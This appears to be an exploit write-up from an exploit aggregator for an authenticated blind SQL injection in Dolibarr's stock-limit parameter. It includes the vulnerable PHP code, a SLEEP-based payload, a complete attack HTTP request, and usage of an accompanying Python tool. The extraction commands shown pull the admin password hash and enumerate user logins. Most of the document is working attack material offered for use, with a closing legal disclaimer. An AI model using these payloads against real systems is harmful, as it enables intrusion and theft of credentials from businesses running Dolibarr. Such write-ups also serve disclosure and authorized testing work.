## https://sploitus.com/exploit?id=1FC3DC67-B4B6-5FC1-B780-A2A7619D8D7C
# Dolibarr β Authenticated SQL Injection PoC
SQL injection affecting the product stock management functionality through the
`seuil_stock_alerte` parameter.
## Affected Versions
Tested and confirmed on:
- 19.0.4
- 20.0.4
- 21.0.4
- 22.0.5
- 23.0.3
- 24.0.0 (It was working until the report.)
## Vulnerable Parameter
`seuil_stock_alerte`
The parameter is accepted by:
```
/product/stock/product.php
```
using the `addlimitstockwarehouse` action.
## Exploitation
The parameter is retrieved without numeric conversion:
```php
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
```
It subsequently reaches an SQL statement through direct string concatenation:
```php
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
```
Because the value is inserted into an unquoted numeric context, an SQL expression
can be supplied instead of a regular numeric value.
## Time-based Blind SQL Injection
A boolean/time-based expression is sufficient to demonstrate execution:
```sql
(SELECT IF((1=1),SLEEP(15),0))
```
Example parameter:
```
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
```
A successful request produces an HTTP response delay of approximately 15 seconds,
confirming evaluation of the injected SQL expression.
## Vulnerable Request
The vulnerable action can be reached with an authenticated request similar to:
```http
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
```
Requirements:
- Valid authenticated session
- CSRF token (extracted from product card page)
- Product ID
- Warehouse ID
## Authentication & Privileges
The issue was reproduced with an authenticated account having only:
```
Product β Create (produit/creer)
```
permission β a low-privilege account that can create products.
## Impact
The SQL injection enables:
1. **Blind time-based SQL injection** β queries can be executed via SLEEP delays
2. **Information disclosure** β database contents can be exfiltrated character-by-character
3. **Potential privilege escalation** β admin credentials or sensitive data extraction
4. **Database reconnaissance** β schema enumeration via error or time-based methods
Database-level constraints on this system prevented direct OS command execution.
## Exploit Tool
The accompanying PoC script `stock_sqli_poc.py` automates the exploitation process:
### Usage
```bash
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
```
### Features
- **Automatic login** β authenticates to the target
- **Injection confirmation** β validates SQL injection with test payloads (1=1 vs 1=2)
- **Binary search extraction** β efficiently extracts data character-by-character using ASCII comparison
- **Proxy support** β integrates with Burp Suite or other HTTP proxies
- **Configurable delay** β adjusts SLEEP duration for reliability
### Command-line Options
| Option | Default | Description |
|--------|---------|-------------|
| `--url` | `http://127.0.0.1:8088` | Target Dolibarr instance URL |
| `--proxy` | `http://127.0.0.1:8080` | HTTP proxy (Burp, etc.). Set to empty string to disable |
| `--login` | `webeditor` | Username for low-privilege account |
| `--password` | `WebEdit0r!` | Account password |
| `--product-id` | `1` | Product ID to target |
| `--warehouse-id` | `1` | Warehouse ID to target |
| `--delay` | `1.0` | SLEEP duration in seconds for time-based detection |
| `--extract` | `(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)` | SQL expression to exfiltrate |
| `--length` | `14` | Maximum character length to extract |
### Extraction Examples
**Extract admin password hash:**
```bash
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
```
**Enumerate users:**
```bash
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
```
**Database version:**
```bash
--extract "VERSION()"
```
**Current database user:**
```bash
--extract "USER()"
```
---
> **β οΈ Legal Notice:** Use this exploit only against systems for which you have
> explicit written authorization. Unauthorized access to computer systems is illegal.
> This PoC is provided for educational and authorized security testing purposes only.